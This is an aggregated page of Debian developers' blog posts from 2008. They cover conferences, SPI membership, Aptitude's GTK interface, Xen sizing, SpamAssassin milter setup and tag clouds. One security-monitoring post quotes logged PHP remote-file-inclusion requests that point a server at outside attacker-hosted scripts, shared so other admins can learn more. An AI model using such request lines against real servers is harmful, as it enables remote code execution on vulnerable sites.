Search Results: "ag"

13 August 2008

Jaldhar Vyas: Highlights of PreventaConf 2008

Thousands of the worlds brightest, most handsome, and fragrant-smelling developers gathered in Bryant Square Park, New York City, for PreventaConf 2008 PreventaConf Project founder Jaldhar H. Vyas gave a stirring keynote covering such interesting and informative topics such as "Is Preventa just a big joke or are you really working on it?" The audience were shocked to learn that he actually is. PreventaConf Attendees gather for lunch sponsored by Heinz baked beans. Lunch is marred slightly by rain pouring through the roof and an altercation which resulted in the forcible expulsion of a known Ralph Nader sympathizer and his Move On organizer "girlfriend." PreventaConf Wonderful news! The government of Zimbabwe has offered to sponsor Preventa to the tune of ONE HUNDRED BILLION DOLLARS. The Preventa project will use that money to cover infrastructure costs and subsidize developer travel expenses. Thanks Zimbabwe! PreventaConf And finally here is a scene from the lab where developers are busy trying make Preventa a reality. Look forward to some real news soon!

David Welton: Job search sites, Java and Ruby

I occasionally like to fool around with statistics gathered from the Internet. Sometimes, to produce something like langpop.com, which, even if it's unscientific, I feel is useful, and more or less reflects my gut feeling about which way the wind is blowing. Other times, it's fun just to grab some numbers, add them up, and not worry too much if they really have any validity or meaning. In this case, I suspect there's something to them. What do you think? The technique: take different job search sites, like monster.com, craigslist, and so on, search them for various languages (with Yahoo's search API), count the hits, and then look at the ratios. For instance, Java jobs to Ruby jobs, with the idea that, painting with very broad brush strokes, the Java jobs are going to be more "enterprisy", and the Ruby jobs hipper, cooler, and maybe gone six months from now as the economy tanks and funding dries up. Rough techniques notwithstanding, there do seem to be two distinct groups of sites, one with lower rations, the other with higher ratios (more Ruby jobs compared to Java jobs). For fun, I also included Python and Erlang, although there are very few Erlang jobs out there. Ruby/Java ratios Of course, it's also true that the bigger sites, like dice.com, had more jobs total. Indeed, dice.com has more hits for Erlang than CrunchBoard does for Java! Totals

Mark Brown: Paging Doctor Grumpy

Please, folks, when emailing the same question to multiple people or places send a single email with multiple recipients. Don’t send separate mails to each destination - at best you’ll waste people’s time, at worst you’ll irritate them. There are a few exceptions, mostly to do with confidentiality, but they really are pretty rare - especially for free software. Not that this should be in any way news or non-obvious.

Riccardo Setti: tales of a exchange sysadmin

ahah, call me "Exchange SysAdmin" for today (and only for today )after 2 weeks of frustrating work i was able run it. Owa works, Outlook AnyWhere works, AutoDiscover works. Ok, this post has nothing to do with Debian/Ubuntu but i'm *fracking* (cit) happy so i wanted say this to the entire world (or at last to the world i care about) Special thanks go to Remo1075 and JoseUK from #exchange on efnet theyr help has been much appreciated.Now, now it's time to fight against BES (blackberry enteprise server). 

Russell Coker: Starting to Blog

The best way to run a blog is to run your own blog server. This can mean running an instance on someone else’s web server (some ISPs have special hosting deals for bloggers on popular platforms such as Wordpress), but usually means having shell access to your own server (I’ve previously written about my search for good cheap Xen hosting [1]). There are platforms that allow you to host your own blog without any technical effort. Three popular ones are Wordpress.com, LiveJournal.com, and Blogger.com. But they give you less control over your own data, particularly if you don’t use your own DNS name (blogger allows you to use their service with your own DNS name). Currently it seems to me that Wordpress is the best blog software by many metrics. It has a good feature set, a plugin interface with lots of modules available, and the code is free. The down-side is that it’s written in PHP and has the security issues that tend to be associated with large PHP applications. Here is a good summary of the features of various blog server software [2]. One that interests me is Blojsom - a blog server written in Java [3]. The Java language was designed in a way that leads to less risk of security problems than most programming languages, as it seems unlikely that anyone will write a Blog server in Ada it seems that Java is the best option for such things. I am not planning to switch, but if I was starting from scratch I would seriously consider Blojsom. But for your first effort at blogging it might be best to start with one of the free hosted options. You can always change later on and import the old posts into your new blog. If you end up not blogging seriously then using one of the free hosted services saves you the effort of ongoing maintenance.

Norbert Tretkowski: MySQL 5.0.67 not uploaded to Debian

Last weekend I updated the Debian package of MySQL to 5.0.67, the latest Community Edition release. It was not uploaded into the Debian archive, but is available from my home directory on gluck (amd64 only at the moment). The next Debian release lenny is frozen already, which means no newer upstream releases get accepted into testing before lenny is released, hence lenny definitely gets shipped with MySQL 5.0.51a. We will not see MySQL 5.0.67 or 5.1 in lenny, but we will continue providing backports of newer MySQL releases.

Our current primary goal regarding the MySQL packages in Debian is to get 5.0.51a in shape for lenny, so please do not send us mails asking about MySQL 5.1 or MySQL Cluster. When lenny got released we will upload MySQL 5.0.67 (or any newer community release) to unstable, and will then take care of MySQL 5.1 and MySQL Cluster.

Julian Andres Klode: Joined Software in the Public Interest (SPI)


On Monday, I joined Software in the Public Interest (SPI). I’m currently a non-contributing member and have already applied for contributing membership. MJ Ray asked why people do and dont join SPI, and received answers. Not knowing SPI is no good reason, at least if you are participating in Debian’s development, and you should really know SPI if you are a Debian Developer. For me, personally, not joining the SPI would not make any sense. The existance of other organizations is no good reason. Look at me, I am also a Fellow of the Free Software Foundation Europe. There is only one reason which seems to be a bit right: It’s hard to join SPI. The membership information is located at ‘About -> Membership’ in the menu. Maybe this should be made a top-level menu-item and a big link “JOIN!” should be put on the homepage. I see no reasons for anybody to not join SPI. All you need to join is a valid email address and interest in free software.

Obey Arthur Liu: State of the Aptitude (week 12)

Hi folks! We’re almost done for the official Summer of Code program and I thought that I couldn’t let it end without another update, so here we are (you may thank Daniel Burrows for additional poking). The Gtk+ interface for Aptitude is making great progress. The product is not final yet but already implements many of the planned ideas, with others to come. Here are the screenies: aptitude-20080813-1 aptitude-20080813-2 aptitude-20080813-3 So, let’s see the tasks presented in my previous update: In some more details: we are now much closer to the final interface. Some things are not done yet, for example, notification bars la Iceweasel (or is it Firefox ?) are in the works for unobtrusive notifications about important things and a little guidance. We are much more reliable now. We eliminated lots of memory management problems that resulted from, mmh, imperfect coding discipline. We also lock the interface when important backend stuff reload to prevent the user from shooting himself in the foot when triggering an install when the APT cache is reloading for example.. The backend refactoring took a sizable part of this second term but it was worth it. The code is now much cleaner and uses no more (at least much fewer) ugly unscalable hacks. One very important feature of Aptitude is the ability to easily display all kinds of dependencies and navigate through them by hyperlinking. It’s now working in the Gtk+ interface as well. Feel free to click on whatever looks like a package or a package version. We now support the powerful Aptitude package searching syntax. Daniel Burrows is talking with Enrico Zini to bring the power of apt-xapian-index to Aptitude: autocompletion! lightning fast full-text searches! tag clouds! ponies! There is still a lot to be done. I’m not going away after the GSoC program. I’m here to stay, for Aptitude and Debian. Daniel Burrows has been very helpful and supportive. The Debian community is as awesome as I knew it before participating in the program. Daniel Burrows is planning to merge the Gtk+ interface into the main branch in September and packages may appear into Experimental. With the very interesting evolutions of the upcoming Adept-3, Lenny+1 will show very interesting changes in the area of packages managers. Now for you. I need you to test my interface. All necessary instructions are on the development trac : http://dev.graffit.net/aptitude/trac.

MJ Ray: SPI Meeting Announcement and Why People Don t Join SPI

Jimmy Kaplowitz writes:
“Software in the Public Interest, Inc., will hold a public board of directors meeting on Wednesday, August 20, 2008, 19:00 UTC. [...] SPI meetings are held on the OFTC IRC network, irc.oftc.net, in #spi. [...] Agenda“
A couple of weeks ago, I asked why people do and don t join SPI? The answers I got can be grouped into a few headings:-
Don’t know about SPI
“I admit that I was unaware of SPI. However seeing its age, a few familiar names on the board and also on the project list it looks like a solid organisation.”
“I too am unfamiliar with your organization”
“I guess I would be yet aother person who was not aware of this group.”
“Lack of awareness of SPI is probably the biggest hurdle. I too, was unaware of SPI. I am aware of the Linux Foundation and the FSF and others, but how does SPI differentiate itself and its goals from those organizations?”
Don’t know about joining
“The membership page on the SPI website is buried at the bottom of a secondary menu. One has to really go looking for it. And this definitely gives the impression that adding members is not a very high priority.”
“I ve been looking a while for how to join, is not the first time, I did before and never found it until now”
Don’t see why to join
“Even as an open source software advocate, I have not joined SPI because my particular interest and focus is on Plone. The Plone Foundation handles largely the same functions that SPI does for smaller, independent groups.”
“Why, what’s in it for me? The betterment of mankind or bragging rights when a corporations steals all of my work and gets rich off of it.”
“If you are someone who is very interested FOSS (free and open source software) rights and licenses, you are probably more inclined to become a part of the FSF (Free Software Foundation) or the OSI (Open Source Initiative).”
I’d welcome any thoughts you have on how we should overcome these barriers, either in the comments here, or on IRC #spi - I think I should be there a bit before or after the meeting. I’ll try to summarise the best over the next Wednesday or two.

12 August 2008

Russell Coker: CPU vs RAM

When configuring servers the trade-offs between RAM and disk are well known. If your storage is a little slow then you can often alleviate the performance problems by installing more RAM for caching and to avoid swapping. If you have more than adequate disk IO capacity then you can over-commit memory and swap out the things that don’t get used much. One that often doesn’t get considered i the trade-off between RAM and CPU. I just migrated a server image from a machine with two P4 CPUs to a DomU on a machine with Opteron CPUs. The P4 system seemed lightly loaded (a maximum of 30% CPU time in use over any 5 minute period) so I figured that if two P4 CPUs are 30% busy then a single Opteron core should do the job. It seems that when running 32bit code, 30% of 2*3.0GHz P4 CPUs is close to the CPU power of one core of an Opteron 2352 (2.1GHz). I’m not sure whether this is due to hyper-threading actually doing some good or inefficiencies in running 32bit code on the Opteron - but the Opteron is not giving the performance I expected in this regard. Now having about 90% of the power of that CPU core in use might not be a problem, except that the load came in bursts. When a burst took the machine to 100% CPU power a server process kept forking off children to answer requests. As all the CPU power was being used it took a long time to answer queries (several seconds) so the queue started growing without end. Eventually there were enough processes running that all memory was used, the machine started thrashing, and eventually the kernel out of memory handler started killing things. I rebooted the DomU with two VCPUs (two Opteron cores) and there was no problem, performance was good, and because the load bursts last less than a minute the load average seems to stay below 1. It seems that the use of virtual machines increases the scope of this problem. The advantage of virtual machines is that you can add extra virtual hardware more easily (up to the limit of the physical hardware of course) - I could give the DomU in question 6 Opteron cores in a matter of minutes if it was necessary. The disadvantage is that the CPU use of other virtual machines can impact the operation. As there seems to be an exponential relationship between the number of CPU cores in a system and the overall price it’s not feasible to just put in 32 core Xen servers. While CPU power has generally been increasing faster than disk performance for a long time (at least the last 20 years) it seems that virtualisation provides a way of using a lot of that CPU power. It is possible to have a 1:1 mapping of real CPUs and VCPUs in the Xen DomU’s, if you were to install 8 DomU’s that each had one VCPU on a server with 8 cores then there would be no competition between DomUs for CPU time - but that would significantly increase the cost of running them (some ISPs offer this for a premium price). In this example, if I had a burst of load for the service in question at the same time as other DomUs were using a lot of CPU time (which is a possibility as the other DomUs are the clients for the service in question) then I might end up with the same problem in spite of having assigned two VCPUs to the DomU. The real solution is to configure the server to limit the number of children that it forks off, the limit can be high enough to guarantee 100% CPU use at times of peak load without being high enough to start swapping. I wonder how this goes with ISPs that offer Xen hosting. It seems that you would only need to have one customer who shares the same Xen server as you experiencing such a situation to cause enough disk IO to cripple the performance that you get.

Wouter Verhelst: Picture retouching

Last month, the dutch-languaged C'T featured an article about retouching pictures with The Gimp, amongst others. Great timing, of course, since everyone goes on holiday during summer, right? Right. It's amazing what you can do with The Gimp and a bit of basic knowledge. Take this picture, for example, which I took at this year's FOSDEM: a
picture I kindof like it, but the colors are a bit blend. Too much of a red tint over everything. So, what we need to do, is change the curve: the blue
curve Pardon my, eh, Dutch. The trick is to remember that there are only so many colors which can be represented in a (JPEG) photo. The histogram on the background represents that; and by modifying the curve that is above the picture, you can effectively change the colorspace that is available for any peaks. If there's a lot of the darker blue in the picture, but less so in the lighter regions of the blue (as in this case), you just give the picture more space in the blue regions so that the blue that actually exists in the picture can be better represented. We do this by lowering the curve right before the peak, and by raising it afterwards, as the above screenshot shows. After doing so for red, green, and blue, this is the result: a better
picture Looks much better, right? Way more contrast, and the colors look much more natural. And that only took me like 10 seconds to do. Do watch out, though -- it's easy to overshoot, resulting in an ugly picture; and you wouldn't necessarily want that. Also, if your camera has a RAW mode, you're going to be able to do a lot more of this kind of retouching with that than you would be using JPEG files. Then again, my camera has RAW too, but I don't use it most of the time...

Wouter Verhelst: Panther on Debian/m68k.

Some crazy fellow tried to run Mac OS X Panther (that's 10.3 if I'm not mistaken) on a Centris 650 (a 25Mhz m68k). Procedure: run PearPC on an athlon or another insanely fast box to install OS X in an image that PearPC can boot from. Then copy the image to the Centris, run PearPC on that box, and, uh... wait a week for the stuff to boot. Cute.

loldebian - Can I has a RC bug?: marga for DPL


marga for DPL
Margarita Manterola, LOLed by Rhonda

David Welton: Hecl Syntax: A Survey

[ Taken and modified from a post to the hecl-devel mailing list ] I've been talking with a company about a consulting job regarding a programming language for mobile apps. Sounds familiar, right? There is, however, a bit of discussion regarding the syntax - my contact at said company maintains that Hecl's syntax is unfamiliar to many programmers, and I think on the face of it, I'd have to agree. Of course, Hecl's syntax is like it is because when I started the project, being very small was a necessity, and a very simple syntax facilitated that goal nicely. Additionally, the syntax allows for extreme flexibility, letting you create new control commands, and "DSL's" (domain specific languages) easily. Also, sticking with small/simple means that the interpreter and parser can both reside on the phone, instead of doing some kind of solution where the development/host computer compiles the scripting language to byte code, and the interpreter on the phone runs the byte code. That sort of strategy has some advantages, but has disadvantages too: if you don't have an on-board parser, you don't get "eval".
A quick Hecl syntax refresher: In Hecl, everything is a command, seperated by spaces, and grouped with :
if   ...     ...  
Is a command that takes two arguments. It evaluates the first one, and if it's true, evaluates the second one. This is different from languages like C, Python or Ruby, where 'if' is part of the language. For those unfamiliar with languages like Lisp, where this looks strangest is probably in conditions or other expressions:
if   = $foo 10     puts "foo is ten"  
Or
set foo [+ [* $bar 10] [- $beebop $doowah]]
Which is certainly a different take on things than most 'mainstream' languages. That radical simplification is, however, one of the ways that I used to save space in the interpreter.
Personally, I'm pretty happy with how Hecl looks, but I am sensitive to the 'marketing' argument: popularity helps, and this isn't the first time I've heard complaints about Hecl looking "funny" to people. What do you think? A) "I like Hecl just the way it is and wouldn't want to change it!" B) "Hecl is quite useful, but I just want a mobile scripting language, the syntax doesn't matter much." C) "I think the syntax is ugly, but I use it because I need an interpreter." Also related: 1) "I don't care too much about code size. My current apps target N kb as an acceptable size." 2) "Small is really important. The smaller the better." And: I) "I don't care about eval, or being able to run human readable code on the phone." II) "I really like the fact that you can download or even write code directly on the phone." And finally: X) "I don't care about midp1.0" Y) "The fact that Hecl runs on midp1.0/cldc1.0 is important to me." Now, I am not going to run off and change Hecl! Code that currently runs ought to continue to run, modulo some tweaks here and there, api changes, and the normal stuff. If I do something 'new', it would probably be a clean break (although of course code that could be reused would be), and will be in addition to Hecl, rather than instead of Hecl, because I would be working on the 'new' language as a day job. I do that with Hecl too, but not all the time, as I often have consulting/contracting work.

MJ Ray: DebConf 8 Video Team Gives Excellent Service

DebConf, the annual Debian Conference, is held this year in Mar del Plata, Argentina. One sometimes-overlooked part of this is the brilliant video streaming service, with each stream supported by an IRC feedback channel including announcement of talks and events as they approach, start and finish. While I was watching Martin F. Krafft’s talk yesterday (which introduced the topgit patch manager to me, which I’ll look at and may suggest to the Koha project), I was blown away by the production quality of the video. It’s even better than last year, which was already good. The shots of the slides with the presenter in a little window on them are a particularly clever idea and much better than the “auto-refreshing slides webpage” method I’ve seen from other conferences. It does look like a little encoder tweaking might be possible to get the slides (which don’t change much) pixel-perfect while compressing the presenter window, but I’d be happy if all conferences were covered this well. Read the debconf announcement for links to the streams and schedules. I was having a few problems watching this afternoon (packets getting lost between telecomplete and bytemark), but switching to a European video server helped it. Mplayer’s hardframedrop also seems to help in bad network conditions, but it takes multiple attempts to get a successful connection from mplayer, for reasons I don’t understand. The conference continues until next weekend, which includes Debian’s 15th anniversary.

Lucas Nussbaum: Debian s Freeze

Debian’s freeze sounds like a technical hack to address a social problem, and that disturbs me a bit. The social problem is: At some point, we need everybody in Debian to make only non-disruptive changes, so everything can converge very fast into a releasable state. The “solution” we are using is that we are blocking all packages from migrating to testing, and requiring manual review from someone on the release team. Consequences are:
- many people feel that you need to be very convincing to fix a small, not RC bug, even if fixing that bug definitely increases your package’s quality.
- the release team is completely overwhelmed by unblock requests during the freeze
- many people just stop trying to fix things during the freeze (which definitely doesn’t improve Debian’s quality), both because they think it’s hard to get a fix in, and because they don’t want to bother the release team I wonder if we really need such a strict policy. Are there other Free Software projects that use such a technical measure to prevent software from disrupting stable releases? I am the impression that most other projects rely on social pressure instead of technical measures for that, except maybe during the last few hours before the release. Couldn’t we act on the social level? We could default to allow everyone’s package to migrate to testing, and, when someone fucks up and uploads something that should not have been uploaded, block all his packages (switching to manual review mode) until the release. Of course, that require the release team to make decisions about _people_, which is harder than making decisions about _packages_. But if the rules are clearly stated, couldn’t this work?

Joerg Jaspert: DebConf8 - And time after it

Third day of DebConf8 now - and it has been a pretty nice time since I arrived. The local orga team is doing a marvelous job, making this whole conference a really nice experience for about every attendee. Thanks to that we had a lot of time doing actual Debian work, which meant that we got a nice number of changes in dak either done or planned for the future, including a redesign of our database schema. Which is urgently needed if we want to follow some of the points we discussed. Like throwing away apt-ftparchive and generating the Packages files ourselve. Or various other enhancements. So for dak, the changes are summarised into: But we did not only do work on dak, we also did some work for the conference. In the days down here we (re)wrote the Pentabarf entrance controller, enabling our frontdesk to check people in, keeping track of various details they need to know about them. We wrote entirely new controllers for Pentabarf, one of it being the part that manages this years Assassins game. Other orga team members (hello triple des :) ) wrote a video and a volunteer controller. I guess after DebConf we will have some fun time to merge our changes back to upstream.
Travel in .ar Oh well, as some people know, I stay in Argentina for about 10 days more after DebConf is over (my flight back goes on 27. August, in the evening). Up to now I haven’t decided - or even started planning - what I do here. I should probably look at that soon. Hrm. Anyone out there doing something similar the next days? :) Comments: 0

Erich Schubert: Some new (PHP app) exploit?

From my security monitoring:
suhosin[25775]: ALERT - tried to register forbidden variable '_SERVER[DOCUMENT_ROOT]' through GET variables (attacker '67.19.104.82', file '[...]')
The web logs contained:
GET //?_SERVER[DOCUMENT_ROOT]=http://sekip.axspace.com/alat/r0x.txt?? HTTP/1.1
Is this some new PHP attack vector (that happens to be blocked by the suhosin security module)? I thought it was related to ConPresso, but I've also found similar accesses in my logs that were on sites that don't use PHP (and thus did not trigger a suhosin alert). Obviously these don't relate to ConPresso, so it seems more like a brute force / mass attack?Another host involved:
80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1
That referenced URL still works, so if you want you can retrieve the 'exploit' code. But all it apparently does is to try various methods to execute "id", probably to locate web servers that are vulnerable and maybe even running as "root" user.Obviously this is a brute force; that site doesn't have an index.php.Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn't seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.If you've got any details, contact me at erich@debian.org; my blog intentionally does not have comments or trackbacks.[Update: I've received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]

Russell Coker: SpamAssassin During SMTP

For some time people have been telling me about the benefits of SpamAssassin (SA). I have installed it once for a client (at their demand and against my recommendation) but was not satisfied with the result (managing the spam folder was too complex for their users). The typical configuration of SA has it run after mail has been accepted by the server. Messages that it regards as spam are put into a spam folder. This means that when someone phones you about some important message you didn’t receive then you have to check that folder. Someone who sends mail to a user who has such a SA configuration can not expect that the message will either be received or rejected (thus giving them a bounce message). Even worse it seems to be quite common for technical users to train the Bayesian part of SA on messages from the spam folder - without reviewing them! Submitting a folder of spam that has been carefully reviewed for Bayesian training can increase the accuracy of classification (including taking account for locality and language differences in spam). Submitting a folder which is not reviewed means that when a false-positive gets into that folder (which will eventually happen) it is used as training for spam recognition thus increasing the incidence of false-positives! Spam has been becoming more of a problem for me recently, on a typical day between 20 and 40 spam messages would get past the array of DNSBL services I use and be re-sent to pass the grey-listing. Also I have been receiving complaints from people who want to send email to me about some of the DNSBL and RHSBL services I use (the rfc-ignorant.org service gets a lot of complaints - there are a huge number of ignorant and lazy people running mail servers). So now I have installed spamassassin-milter to have SA run during the SMTP protocol. Then if SA checks indicate that the message is SPAM my mail server can just reject the message with a 55x which will cause the sending mail server to generate a local bounce (if it’s a legitimate message) or to just be discard it in the case of a spam server. Here is how to set it up on Debian/Lenny and CentOS 5: Install the package yum install spamass-milter or apt-get install spamass-milter spamassassin spamc (spamassassin seems to be installed by default on CentOS). On a Debian system the milter will be setup and running. On CentOS you have to run the following commands:
useradd -m -c "Spamassassin Milter" -s /bin/false spamass-milter
mkdir /var/run/spamass-milter
chown spamass-milter /var/run/spamass-milter
chmod 711 /var/run/spamass-milter
echo SOCKET="/var/run/spamass-milter/spamass.sock" >> /etc/sysconfig/spamass-milter On CentOS edit /etc/init.d/spamass-milter and change the daemon start line to ‘runuser - spamass-milter -s /bin/bash -c "/usr/sbin/spamass-milter -p $SOCKET -f $EXTRA_FLAGS"‘ Then add the following lines below it:
chown postfix:postfix /var/run/spamass-milter/spamass.sock
chmod 660 /var/run/spamass-milter/spamass.sock The spamass-milter program talks to the SpamAssassin daemon spamd. On both Debian and CentOS run the command “useradd -c Spamassassin -m -s /bin/false spamassassin” to create an account for SA. The Debian bug #486914 [1] has a request to have SA not run as root by default. On CentOS it seems that SA wants to use a directory under the spamass-milter home directory, the following commands alllow this. It would be good to have it not do that, or maybe it would be better to have the one Unix account used for SA and the milter.
chmod 711 ~spamass-milter
mkdir ~spamassassin/.spamassassin
chown spamassassin ~spamassassin/.spamassassin On Debian edit the file /etc/default/spamassassin and add “-u spamassassin -g spamassassin” to the OPTIONS line. On CentOS edit the file /etc/sysconfig/spamassassin and add “-u spamassassin -g spamassassin” to the SPAMDOPTIONS line. To enable the daemons, on CentOS you need to run “chkconfig spamass-milter on ; chkconfig spamassassin on“, on Debian edit the file /etc/default/spamassassin and set ENABLED=1. Now start the daemons, on CentOS use the command “service spamassassin start ; service spamass-milter start“, on Debian use the command “/etc/init.d/spamassassin start“. Now you have to edit the mail server configuration, for Postfix on CentOS the command “postconf -e smtpd_milters=unix:/var/run/spamass-milter/spamass.sock” will do it, for Postfix on Debian the command “postconf -e smtpd_milters=unix:/var/spool/postfix/spamass/spamass.sock” will do it. Now restart Postfix and it should be working. For correct operation you need to ensure that the score needed for a bounce is specified as the same number in both the spamass-milter and SA configuration. If you have a lower number for the spamass-milter configuration (as is the default in Debian) then bounces can be generated - you should never generate a bounce for a spam. The config file /etc/default/spamass-milter allows you to specify the score for rejecting mail, I am currently using a score of 5. Any changes to the score need matching changes to /etc/mail/spamassassin/local.cf (which has a default required_score of 5 in Debian). You can grep for “spamd..result..Y” in your mail log to see entries for messages that were rejected. One problem that I have with this configuration on Debian (not on CentOS) is that spamd is logging messages such as “spamd: handle_user unable to find user: ‘russell’“. I don’t want it to look for ~russell when processing mail for russell@coker.com.au because I have a virtual domain set up and the delivery mailbox has a different name. Ideally I could configure it to know the mapping between users and mailboxes (maybe by parsing the /etc/postfix/virtual.db file). But having it simply not attempt to access per-user configuration would be good too. Any suggestions would be appreciated. Now that I have SpamAssassin running it seems that I am getting about 5 spams a day, the difference is significant. The next thing I will do is make some of the DNSBL checks that are prone to false-positives become SpamAssassin scores instead. When I started writing this post I was not planning to compare the sys-admin experiences of CentOS and Debian. But it does seem that there is less work involved in the task of installing Debian packages.

Enrico Zini: apt-xapian-index: dynamically generated tag clouds

apt-xapian-index: dynamically generated tag clouds About apt-xapian-index, I have already posted: Today I'll show how to create tag clouds. Not only that, but I'll show how to implement tag clouds that change as the user types a query. This example uses python-gtk, and has been created together with Matteo Zandi. axi-searchcloud screenshot Generating a tag cloud out of any Xapian query is simple, and it is just a matter of presenting into a tag cloud the information that you get with the technique shown in a smart way of querying tags: you get the tags related to the query, and you lay out their names with a font size proportional to their Xapian rank. For the presentation, we can load pretty names from the Debtags vocabulary in /var/lib/debtags/vocabulary:
from debian_bundle import deb822
# Facet name -> Short description
facets = dict()
# Tag name -> Short description
tags = dict()
for p in deb822.Deb822.iter_paragraphs(open("/var/lib/debtags/vocabulary", "r")):
    if "Description" not in p: continue
    desc = p["Description"].split("\n", 1)[0]
    if "Tag" in p:
        tags[p["Tag"]] = desc
    elif "Facet" in p:
        facets[p["Facet"]] = desc
The query then goes on as usual, and when we get the tags from the eset we also record their score and normalise it between 0 and 1. I found that computing the logarithm of scores helps to avoid having a tag cloud with a few huge tags and a lot of tiny tiny tags:
class Filter(xapian.ExpandDecider):
    def __call__(self, term):
        return term[:2] == "XT"
def format(k):
    if k in tags:
        facet = k.split("::", 1)[0]
        if facet in facets:
            return "<i>%s: %s</i>" % (facets[facet], tags[k])
        else:
            return "<i>%s</i>" % tags[k]
    else:
        return k
taglist = []
maxscore = None
for res in enquire.get_eset(15, rset, Filter()):
    # Normalise the score in the interval [0, 1]
    weight = math.log(res.weight)
    if maxscore == None: maxscore = weight
    tag = res.term[2:]
    taglist.append(
        (tag, format(tag), float(weight) / maxscore)
    )
taglist.sort(key=lambda x:x[0])
Finally, you mark up a gtkhtml2.Document to display in a gtkhtml2 widget:
def mark_text_up(result_list):
    # 0-100 score, key (facet::tag), description
    document = gtkhtml2.Document()
    document.clear()
    document.open_stream("text/html")
    document.write_stream("""<html><head>
<style type="text/css">
a   text-decoration: none; color: black;  
</style>
</head><body>""")
    for tag, desc, score in result_list:
        document.write_stream('<a href="%s" style="font-size: %d%%">%s</a> ' % (tag, score*150, desc))
    document.write_stream("</body></html>")
    document.close_stream()
    return document
That's it, try it out. You can use the git web interface to get to the full source code and the module it uses.

Next.

Previous.